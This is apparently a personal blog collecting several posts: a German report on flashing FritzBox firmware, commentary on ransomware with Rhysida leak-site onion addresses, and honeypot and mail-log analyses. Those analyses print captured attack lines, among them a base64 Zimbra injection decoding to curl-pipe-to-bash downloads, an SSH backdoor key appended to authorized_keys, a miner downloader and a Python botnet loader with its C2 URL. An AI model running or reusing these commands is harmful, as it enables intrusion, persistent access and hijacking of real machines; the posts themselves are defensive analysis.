Telefonie – Chaos gelöst durch Fritzbox-Reihenschaltung: Vodafone SIP-Daten Änderung führt zu Telefonie-Ausfall

October 9th, 2026
Erfahrungsbericht über SIP-403, alte Provider-Firmware, EVA, Freetz-NG und zwei FRITZ!Boxen in Reihenschaltung

Vodafone kündigt in einer mail an, daß SIP-Daten geändert werden.

“Wichtige Umstellung der Telefonie” heisst es. Und:

Du verwendest einen eigenen Kabel Router: wir haben wichtige Neuigkeiten für Dich.

Es ist aus technischen Gründen nötig, neue SIP Zugangsdaten in Deinem Kabel-Router einzugeben. Diese benötigst Du für Telefonie.

Du möchtest am Tag der Umstellung Deine Telefonie direkt weiter nutzen? Dann findest Du die SIP-Zugangsdaten in MeinVodafone.

Dein Internet- und TV- Dienst ist hiervon nicht betroffen.

9. Oktober 2026 · Erfahrungsbericht

“Dein Festnetz geht nicht” – sagte mein Kumpel am Handy. Oh..
Ich erinnerte mich an die Email, die Vodafone ein paar Tage zuvor
geschickt hatte. Tatsächlich leuchtete die Telefon-“Lampe” an der
6490-Cable Fritzbox rot.

Einen Brief hatte ich nicht erhalten, aber irgendwo in den Tiefen des
MyVodafone-Accounts konnte ich tatsächlich neue SIP Daten finden. 

Also – eigentlich sollte es eine Kleinigkeit sein: Vodafone hatte neue
SIP-Zugangsdaten bereitgestellt. Die FRITZ!Box 6490 Cable, die seit langem
direkt am Kabelanschluss lief, sollte damit wieder telefonieren.
Internet ging problemlos =>  Telefonie seit der Umstellung nicht mehr.

Ein paar Stunden später waren ein Kali-Linux in VirtualBox, ein EVA-Bootloader,
mehrere FTP-Kommandos und eine zweite FRITZ!Box beteiligt.
Immerhin: Am Ende funktionierten ein- und ausgehende Anrufe wieder.
Vielleicht erspart diese Dokumentation jemandem einen Teil der Sucherei.

Ausgangslage

  • FRITZ!Box 6490 Cable: ehemalige NetCologne-Box, FRITZ!OS 7.01, produktives Vodafone-Kabelmodem und Router.
    Kein Update-Menü.
  • FRITZ!Box 6590 Cable: aus der Krabbelkiste – hatte ich zum Glück noch vorrätig. International Edition, Artikelnummer 20002820, FRITZ!OS 6.84
    Kein Update-Menü.
  • Vodafone NRW: neue SIP-Daten, unter anderem Registrar fixed.vodafone.de und Proxy egf11.fixed.vodafone.de.
  • Telefon: Gigaset-DECT-Mobilteil.

Eingabe der neuen Daten führten jedoch zu Fehlern. Keine Registrierung
möglich; im Logfile der 6490 fanden sich “403” Errors. 
Versuch von diversen Schreibweisen der Telefonnr – kein Connect.

Der auffällige Unterschied in der Vodafone-Anleitung vom Mai 2026:
Es gibt getrennte Angaben für den Benutzernamen (Telefonnummer mit +49)
und den Authentifizierungsnamen (IMPI_…).
Eingabe des Benutzernamens (Tel-Nr) sollte je nach Anleitung mit “(<vorwahl>) Rufnummer” oder auch mit +49<vorwahl><rufnummer> erfolgen. Das ging aber alles schief. 

Die alten Oberflächen meiner beiden Boxen boten zudem die Option
“Authentifizierungsname” gar nicht an.  
Ob in das Feld “Benutzername” nun die Nummer oder der Authentifizierungsname
gehörte, war nicht klar. Am Ende funktionierte keine der Möglichkeiten.

 

Vodafone-Anleitung: getrennte Felder für SIP-Benutzer- und Authentifizierungsnamen

Version zu alt – “missing Update Menu”

Die Version 7.01 auf der 6490 war anscheinend zu alt für diese Eingabemöglichkeit. Leider gab es auch den “Update” Knopf nicht – wohl, weil diese Box ehemals bei einem Kabelprovider im Einsatz war.

Erst DNS, dann SIP

Ein normaler A-/AAAA-Lookup auf die Vodafone-Servernamen lieferte keine Adressen. Das ist aber nicht automatisch ein DNS-Fehler: Der Proxy ist über SIP-SRV auflösbar. Der entscheidende Test unter Windows war:

nslookup -type=SRV _sip._udp.egf11.fixed.vodafone.de 192.168.178.1

Ergebnis: vier SBC-Ziele (sbc19, sbc29, sbc39, sbc49) auf Port 5060/UDP mit unterschiedlichen Prioritäten. Damit war die DNS-SRV-Seite plausibel. Die wiederholten 403-Antworten zeigten zudem, dass der Vodafone-SIP-Server zumindest zeitweise tatsächlich erreicht wurde. Ob 403 aus falscher Identität, Passwort, Provisionierung oder einer anderen Policy resultierte, war daraus nicht eindeutig abzuleiten.

Plan B: Die 6590 aktualisieren, nicht den produktiven Anschluss riskieren

Ein direktes Update der aktiven 6490 hätte bei einem Fehlschlag den
Internetanschluss mitgerissen. Deshalb fiel die Wahl auf die unbenutzte 6590 Cable.
Ihr Firmwarestand war noch älter, aber sie konnte ohne Risiko für die
6490 bearbeitet werden.

Auch hier wurde leider kein “update” Knopf angezeigt. Ein Flash der
Firmware über einen lokalen PC war die Antwort.

FRITZ!Box 6590 Cable FRITZ!OS 6.84 auf 7.57

Die 6590 wurde daher via ethernet-Kabel direkt an einen windows-pc angeschlossen,
der vom WLAN getrennt war. Die Gefahr, aus Versehen das produktive Gateway
(die 6490) zu bearbeiten, musste verhindert werden.

Der EVA-/ADAM2-Bootloader war nach einem Neustart für wenige Sekunden
unter 192.168.178.1:21 erreichbar.

Powershell:

$ip = “192.168.178.1”
while ($true) {
    $tcp = [Net.Sockets.TcpClient]::new()
        try {
             $result = $tcp.BeginConnect($ip, 21, $null, $null)
              if ($result.AsyncWaitHandle.WaitOne(150) -and $tcp.Connected) {
                  “EVA erreichbar!”
                   $tcp.Close()
                   break
             }
} catch {}
$tcp.Close()
Start-Sleep -Milliseconds 100
}

Die laufende 6590 hatte nach dem Start die  192.168.178.250 aus vorherigen Versuchen.
Ich hatte zunächst DHCP – IP Vergabe gewählt; wollte ja keine doppelten IPs im Netz.
Diese beiden Betriebszustände muss man strikt unterscheiden.

Über den FTP-Client lassen sich zunächst lesend Variablen abfragen:

ftp 192.168.178.1

username: adam2

password: adam2

quote SYST
quote GETENV HWRevision
quote GETENV ProductID
quote GETENV firmware_version
quote GETENV firmware_info
quote GETENV linux_fs_start
quote GETENV bootloaderVersion

Die entscheidenden Ergebnisse lauteten:

HWRevision         220
ProductID          Fritz_Box_HW220a
firmware_version   avm
firmware_info      148.06.84
bootloaderVersion  1.3125
linux_fs_start     nicht gesetzt

EVA: Hardware- und Firmwareparameter der 6590

Wichtig: Diese Werte gelten für genau dieses Gerät. Bei anderen Boxen können ProductID, Branding, Bootloader und Flashstruktur abweichen. Keinesfalls blind übernehmen.

Original-Firmware und Freetz-NG

Für die International Edition wurde das originale AVM-Image FRITZ!OS 7.57, „other“ verwendet
Unter https://download.avm.de/fritzbox/ liegen die normal zugänglichen (nicht-Provider) Versionen.

Vor dem Flashen wurden Dateistruktur und var/content des Archivs geprüft. Sie bestätigten unter anderem:

tar -xOf Fritz……image ./var/content

Product=Fritz_Box_HW220a (FRITZ!Box 6590 Cable)
Version=07.57
Build=107831
OEMs=avm

Abgleich zwischen Image-Metadaten und EVA-Kennung

Zum Einsatz kam push_firmware aus Freetz-NG, ausgeführt in Kali Linux in einer VirtualBox-VM. Die VM hatte eine Netzwerkbrücke auf den physischen Ethernet-Port zum Gerät; NAT innerhalb von VirtualBox wäre für den kurzen EVA-Zugriff nicht die gewünschte Konfiguration gewesen.

Vorher wurden die Werkzeugoptionen kontrolliert:

./push_firmware --help

Achtung: Der folgende Befehl führt tatsächlich einen Firmware-Flash aus. Er gehört nur hierher, weil die Hardwarekennung geprüft, die Box entbehrlich und die Folgen eines Fehlschlags akzeptiert waren. Keine -f-Option und kein manuell erzwungener Firmware-Slot:

./push_firmware ./FRITZ.Box_6590_Cable-07.57-other.image -ip 192.168.178.1

push_firmware erkennt HW220a und wählt die Flashpartitionen

Das Skript erkannte die Dual-Boot-Struktur und wählte bei nicht gesetztem linux_fs_start den Slot 1. Es übertrug ARM- und x86-Komponenten in die MTD-Partitionen 11 bis 14.

Am Ende standen vier abgeschlossene Transfers mit 226 Transfer complete, anschließend SETENV linux_fs_start 1, REBOOT und done. Daneben tauchte die Meldung Can't open 'mtd' auf. Sie verhinderte den erfolgreichen Start in diesem Fall nicht; man sollte sie aber nicht pauschal als harmlos einstufen.

Abgeschlossene Transfers, Slotwechsel und Neustart

Nach dem Neustart zeigte die Weboberfläche tatsächlich FRITZ!OS 7.57. Das Gerät war also weder gebrickt noch in einer Bootschleife.

6590 nach dem Flashen mit FRITZ!OS 7.57

Eine FRITZ!Box als Kabelrouter, die andere als Telefonanlage

Die 6590 wurde nicht als Kabelmodem bei Vodafone registriert. Stattdessen blieb die 6490 am Koaxanschluss und stellte die Internetverbindung bereit. Die 6590 nutzte diese über LAN 1 als IP-Client / Mitbenutzer einer bestehenden Internetverbindung. Ihre Adresse änderte sich im Zuge der Netzwerkkonfiguration auf eine per DHCP vergebene LAN-IP.

Erst jetzt konnte die neue SIP-Konfiguration mit getrennten Feldern für Telefonnummer und IMPI_… sinnvoll getestet werden. In der Übersicht erschien die Rufnummer als aktiv. Ausgehende Telefonate funktionierten, und eingehende Anrufe wurden in der Anrufliste der 6590 angezeigt.

6590 nutzt die vorhandene Internetverbindung, Rufnummer ist aktiv; Rufnummer im Bild geschwärzt

Der letzte Stolperstein war DECT: Das Mobilteil ließ sich an der 6590 anmelden, der interne Klingeltest funktionierte, externe Anrufe klingelten aber nicht. Nach dem Abschalten des DECT-Moduls an der alten 6490 klingelte das Gigaset wieder. Es war offenbar die alte Basisstation im Weg.

Ergebnis und Einschränkungen

Funktionierender Aufbau: Vodafone-Kabel → 6490 (DOCSIS/Router) → LAN → 6590 (IP-Telefonie/DECT) → Gigaset. Ein- und ausgehende Gespräche funktionieren. Dafür ist allerdings eine zweite Box im Dauerbetrieb nötig.

Nicht bewiesen ist, dass die fehlende IMPI-Trennung die einzige Ursache des ursprünglichen Fehlers auf der 6490 war. Ich hatte Firmware, Gerät und Netzwerktopologie verändert. Das Ergebnis belegt die funktionierende Kombination, nicht eine vollständig isolierte Root-Cause-Analyse.

Die internationale 6590 (Artikelnummer 20002820) direkt als DOCSIS-Kabelmodem bei Vodafone registrieren zu lassen, wäre ein separater Weg – mit zusätzlichem Aktivierungs- und Kompatibilitätsrisiko. Die funktionierende Internetverbindung wollte ich dafür nicht aufs Spiel setzen.

Fazit: Was mit neuen SIP-Zugangsdaten begann, endete mit einem erfolgreichen Firmware-Update über EVA und einer zweiten FRITZ!Box als Telefonanlage. Keine elegante Architektur, aber wieder ein funktionierendes Telefon. Die produktive 6490 blieb die ganze Zeit (bis auf die nicht erfolgreichen Tests) unangetastet.


Hinweis: Die verwendeten Screenshots wurden für diese Fassung redigiert. Flashen über EVA geschieht auf eigenes Risiko; ein falsches Image oder ein unterbrochener Schreibvorgang kann das Gerät unbrauchbar machen.

Continuous ransomware attacks

September 12th, 2026

The “Berlin” hack, although quite prominent, is just a single event in a continuous
stream of attacks by different groups against all kinds of targets — banks, schools, hospitals, cities, …

https://www.ransomlook.io/recent

This is a real industry, moving huge amounts of money.

And no – BTC (Bitcoin) is not the problem.
With Bitcoin, every transaction is recorded on the blockchain, which makes it possible to “follow the money”.
By paying in FIAT (like Dollar, Euro..) those traces can be much harder to follow.

Berlin data – Rhysida in the darkweb

September 12th, 2026

Recently it became known that the hacker group “Rhysida” infiltrated the Berlin
internal network and downloaded some 5TB of data.

Rhysida demanded 30 BTC in exchange for deleting the stolen data – Berlin did not pay, so the
data appeared on the darkweb.
While there was a lot of talk in the news about this, the leaked data itself was not shown.
So the public could not see what by then already publicly available data actually had been leaked.
Since it sometimes is a bit tricky to find the right addresses on the darkweb I show you
here the target:

If you download and use a TOR Browser , you can see for yourself at these addresses:

URL,Type,Status,Date,PageTitle
http://rhysidafc6lm7qa2mkiukbezh7zuth3i4wof4mh2audkymscjm6yegad.onion/,DLS,inactive,2026-09-05,Rhysida
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/,DLS,inactive,2026-09-05,Rhysida
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/archive.php,DLS,inactive,2026-09-05,
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/archive.php?auction,DLS,inactive,2026-09-05,
http://rhysidaeoxtkejwuheks3a7htk4zn3dfuynt5mqw6oawlcx6kcxjdeyd.onion,FS,inactive,2026-01-05,Onionsite Not Found
http://rhysidaiqemmlrvn2jvncdwhkvuiv7s2iu342xnrpeynxoe6r2dtjfyd.onion,FS,inactive,2026-01-06,Onionsite Not Found
http://rhysidaqho36b6i6mvpmy5di4ro5zglovtxixrirky6q3fgack7q5uyd.onion,FS,inactive,2026-09-05,Onionsite Not Found

Sometimes they are reachable, sometimes not..

(Btw: the hacker group also claims to have hacked “Stuttgart”, another major city in germany. The data itself show
“only” a hack of a housing company “GVV”)

On the front page, you can see the group’s current auctions and victims.
Berlin shows this info:

Zimbra exploit

September 1st, 2026

postfix logs are sometimes interesting. See here:


2026-08-30T07:23:30.237580+00:00 manta postfix/smtpd[1103478]: NOQUEUE: reject: RCPT from unknown[192.243.105.20]: 550 5.7.1 Client host rejected: cannot find your reverse hostname, [192.243.105.20]; from=test@example.invalid to=<"x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>

That does not look like reasonable smtp-chat ..the “echo” command translates to:

curl -sS 147.182.224.216/zed|perl && curl -sS 147.182.224.216/hh.sh|bash

The downloaded “zed” file is an attacking IRC client (bot), controlled by the IRC server 89.47.232.104.

File can be found here: irc-client

The hh.sh installs an SSH public key as a persistent backdoor by appending it to

/opt/zimbra/.ssh/authorized_keys

This looks like:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeIfOA/sN/0yWH46X1rdnMq97nWkntL+M4gjtQjzgitj0nHT1+Gou9IN6oFTLhEIsklzWxUl/ZL5DwWrRiC+op4VsuHgD2+FzHIWQgO1Uqq2o0mjc7jBNDaUZGDughILDcl6OFeeViMkjJQpnnCFGEIT6DQEut+Cw9dLEcuzw9RN2QNa6RhLU02aqderBP+6E2tL74LMcr+vrzMvPlyTufKf7SeGgQ4pn0vp6ZZM6llT6h1lImhcEcdtyPfRVo+hFM2cA0wIrh0GcTU0/r3SiZfPvndVV4y8GhgndKgQxpGJ2/CVu/KN/vmkNGAWQTwZRu6TwNhb7c2Nsjim9N79foh1Nu3gNujr4Zg/pnOIbcqf0yOEpMJunZV3XX55FAaAXr2E5kkcJWd5K6j2DX590AT2y6hfVF0BQMrDkaRlOm65d3Tr+gfeUCQhu27gdoW1Big9SX+FgUgPptjQYwSzufImnFBn/sTl87t3JGt1bhuwroijdq69dc7d7A0tB5636INyM2RwaJx5dRxL39SDF1ZhVXHQA+FzykTLydll8x8t/lpV+zqB5aUZlgkLVDPaWyqh7SZcXv/eZK/fintNzI4UBOgH4kzhVjKOoCGEZc1/sDDAxlFe1LzaCA/x3yl5OmrXy8XzyhjG4JSDqCO4hHQXXq+LDNu6GqigWTFSIwKw== my-server-key-2026" >> /opt/zimbra/.ssh/authorized_keys;chmod 600 /opt/zimbra/.ssh/authorized_keys

This exploit seems to work against “ZIMBRA” ; some CVE were published on 28.8.26 This attack here might be related to CVE-2026-73570, an unauthenticated command injection vulnerability via specially crafted SMTP requests which is currently being actively exploited. I have not verified that this particular attack actually uses CVE-2026-73570.

sumokoin – cryptonight

February 27th, 2018

Another honeypot-entry catched my eye. First, the attack
itself was unusual because the malware download was executed
by a small python script instead of just running wget or curl:

uname -a
rm -f /tmp/run
if [ ` getconf LONG_BIT ` -eq 64 ]
then u=”http://www.bizqsoft.com/tp2/r6.log”
else u=”http://www.bizqsoft.com/tp2/r.log”
fi
wget -O /tmp/run
curl -o /tmp/run
python -c “import urllib;urllib.urlretrieve(‘$u’,’/tmp/run’)”

Looking into the downloaded binary one finds this miner for
the cryptocoin “sumokoin” using the “cryptonight” algorithm:

{“algo”:”cryptonight”,”av”:0,”background”:false,”colors”:true,”cpu-affinity”:nul
l,”cpu-priority”:null,”donate-level”:5,”log-file”:null,”max-cpu-usage”:75,”print
-time”:60,”retries”:5,”retry-pause”:5,”safe”:false,”syslog”:false,”threads”:null
,”pools”:[{“url”:”pool.sumokoin.hashvault.pro:80″,”user”:”Sumoo6Au3wBiUakx2yC748
Zecr8qKa1J1eMpMCgBQCup9wPecdW7KZiTVvKXGMqvxEDJrYr8pUpDkhG5MHUjf7XX64WoxR4kxon”,”
pass”:”x86_64″,”keepalive”:true,”nicehash”:false},{“url”:”pool.sumokoin.com:3333
“,”user”:”Sumoo6Au3wBiUakx2yC748Zecr8qKa1J1eMpMCgBQCup9wPecdW7KZiTVvKXGMqvxEDJrY
r8pUpDkhG5MHUjf7XX64WoxR4kxon”,”pass”:”x86_64″,”keepalive”:true,”nicehash”:false
},],”api”:{“port”:0,”access-token”:null,”worker-id”:null}}

(see https://coinmarketcap.com/currencies/sumokoin/ )

Looking into the blockchainexplorer I currently find no transactions linked
to that address, but that may be because of the nature of sumokoin ..

Linux Botnet

January 10th, 2018

another nice ssh honeypot-catch:

uname nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CndoaWxlIFRydWU6CiAgICB0cnk6CiAgIC
AgICAgcGFnZT1iYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi51cmxvcGVuKCJodHRwOi8vay56c3c4LmNjL0FwaS8iKS5yZWFkKCkpCiAgICAgICAgZXhlYyhwYW
dlKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgIHRpbWUuc2xlZXAoMzAwKQ=='))" > /dev/null 2 >& 1 &

That downloads a base64-encoded complete python-program from  http://k.zsw8.cc/Api/

In that program a crontab-entry is made

   if runCodePath not in crontabData:
                f = open("/etc/crontab", "a+")
                f.write("\n0 */6 * * * root %s\n" % runCodePath)

then it loads data about the hacked server to the herder:

   my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))

and waits for commands:

 

  if data.has_key("download") and data["download"]:
                    DownExec(data["download"], task_id)
       if data.has_key("cmd") and data["cmd"]:
                    CmdExec(data["cmd"], task_id)

Wonder what would happen if the computer name would be a beef-xss hook or something..?

Chinese hackers

May 4th, 2017

Recently on a firewall log: 1 million deny entries PER DAY from china ..

Every day .. ~ 1 million deny entries with source in China.

Can’t we just ban them from the internet?

 

Honeypot detection

April 26th, 2017

My honeypots are sending out complaints on every single successful login.

Recently I saw the following logged entry in the complaint:

echo -en “\\x31\\x33\\x33\\x37”
cat /bin/ls

Now neither kippo nor cowrie as sshd-honeypots have the file “/bin/ls” which could be looked at,  so a  ‘cat /bin/ls’ just result in a :

‘cat: /bin/ls: No such file or directory’

So this seems to be an easy and reliable way to test for a standard sshd-honeypot..
No wonder that \\x31\\x33\\x33\\x37 just translates to “1337”, which I interpret as a smiley left by the hacker ..

RSA broken?

February 25th, 2016

Via twitter i was directed to

https://www.linkedin.com/pulse/rsa-beginning-end-william-buchanan

(Thanks @Andrea for retweeting)

and saw a really fascinating approach to break RSA by pre-calculated prime factors.

Here is an online RSA-cracker:

http://asecuritysite.com/encryption/crackrsa?n=89%2C070%2C570%2C720%2C149%2C060%2C561%2C995%2C361%2C437%2C269%2C869%2C694%2C609%2C685%2C454%2C824%2C674%2C559

 

(cracking N=8907057072014906056199536143726986969460968545482 )

Wondering what will come next..

 

remote website screenshots

January 12th, 2016

Recently I wanted to check, if and what kind of webpages are available in a specific ip-address range. So I decided to scan the ips and make screenshots of the found services. Not as professional as archive.org or similar .. just a short look to get an idea. Problem was, that there was no tool which I just could fire up. So I started frickling some scripts ..

Step 1: scan the ip-range. I used nmap (what else) and logged the results in a file.

 nmap --open -p80,443 --host-timeout 3 --max-retries 2 172.16.0.0/16 > ll

That went quite fast.. Took only a few minutes. After that I started a small script for cleaning the result:

#!/bin/bash
grep -i "skipping" *ll > sl
awk '{ print $4}' < sl | sed s/\(// | sed s/\)// > sl2
grep "report for" *ll > l
awk '{ print $NF}' < l | sed s/\(// | sed s/\)// > l2
for i in ` cat sl2`
do
 grep -v $i l2 > xx
 mv xx l2
done
 
./l.sh
./i.sh

Okay .. here is the l.sh and i.sh:
l.sh: (start TOR first .. don’t want to annoy someone..)

for i in `cat l2`
do
torsocks wget –convert-links -B http://$i –no-check-certificate -t 1 -T 2 -O $i.html $i ; xvfb-run — wkhtmltopdf $i.html $i.pdf
torsocks wget –convert-links -B https://$i –no-check-certificate -t 1 -T 2 -O $i-443.html https://$i ; xvfb-run — wkhtmltopdf $i-443.html $i-443.pdf
done

Needed some tries with wget until I had an acceptable result. Played around with “-p” and “-r -l 1” and “-E” and  “-K” .. that one with just the -B worked best for me. So had the html-files.. but I wanted to have a quick look at them and did not want to start browsing local files. Therefore I transformed the html-files to pdf, and then (in the next step) I used convert to get png – files. (Did not find any html-to-png tools)

i.sh :

for i in `ls *pdf`
do
  convert $i `basename -s .pdf $i`.png 
done

(After that: copy the png-files to a place of your choice.., generate thumbnails..scroll around…)

There are some commcial vendors for services like this with much better quality (including zoomable thumbnails, galeries..you name it) but I wanted to have a quick’n dirty solution for free..

Though I am pretty sure that there are much better tools and hundred better solutions this worked for me.